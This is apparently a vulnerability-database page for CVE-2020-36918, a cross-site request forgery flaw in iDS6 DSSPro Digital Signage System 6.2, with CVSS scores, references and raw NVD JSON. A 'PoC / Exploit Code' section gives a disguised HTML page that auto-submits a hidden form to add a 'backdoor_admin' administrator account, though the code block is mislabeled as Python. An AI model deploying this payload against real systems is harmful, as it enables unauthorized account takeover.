CVE-2020-36918

Description

iDS6 DSSPro Digital Signage System 6.2 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without request validation. Attackers can craft malicious web pages to trick logged-in administrators into adding unauthorized users by exploiting the lack of CSRF protections.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

iDS6 DSSPro Digital Signage System 6.2及之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Dashboard Update</title> </head> <body> <h1>System Dashboard - Loading...</h1>  <form action="https://target-ids6-system.com/api/user/add" method="POST" id="csrfForm" style="display:none;"> <input type="hidden" name="username" value="backdoor_admin"> <input type="hidden" name="password" value="P@ssw0rd123!"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="department" value="IT"> <input type="hidden" name="action" value="create_user"> </form> <script> // Auto-submit the form when page loads document.addEventListener('DOMContentLoaded', function() { console.log('Updating dashboard configuration...'); // Submit the CSRF request document.getElementById('csrfForm').submit(); }); // Optional: Redirect after exploit setTimeout(function() { window.location.href = 'https://target-ids6-system.com/dashboard'; }, 2000); </script> <p>If not redirected, <a href="javascript:document.getElementById('csrfForm').submit()">click here</a></p> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36918/
[4] VulDB https://vuldb.com/cve/CVE-2020-36918
[5] https://cxsecurity.com/issue/WLB-2020110022
[6] https://exchange.xforce.ibmcloud.com/vulnerabilities/191258
[7] https://packetstormsecurity.com/files/159916
[8] https://web.archive.org/web/20200919100215/http://www.yerootech.com/
[9] https://www.exploit-db.com/exploits/48990
[10] https://www.vulncheck.com/advisories/ids-dsspro-digital-signage-system-cross-site-request-forgery-via-user-management
[11] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5606.php
[12] https://www.exploit-db.com/exploits/48990

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-36918", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:48.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iDS6 DSSPro Digital Signage System 6.2 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without request validation. Attackers can craft malicious web pages to trick logged-in administrators into adding unauthorized users by exploiting the lack of CSRF protections."}, {"lang": "es", "value": "El sistema de señalización digital iDS6 DSSPro 6.2 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes realizar acciones administrativas sin validación de petición. Los atacantes pueden crear páginas web maliciosas para engañar a los administradores que han iniciado sesión para que añadan usuarios no autorizados explotando la falta de protecciones CSRF."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020110022", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/191258", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/159916", "source": "[email protected]"}, {"url": "https://web.archive.org/web/20200919100215/http://www.yerootech.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/48990", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ids-dsspro-digital-signage-system-cross-site-request-forgery-via-user-management", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5606.php", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/48990", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}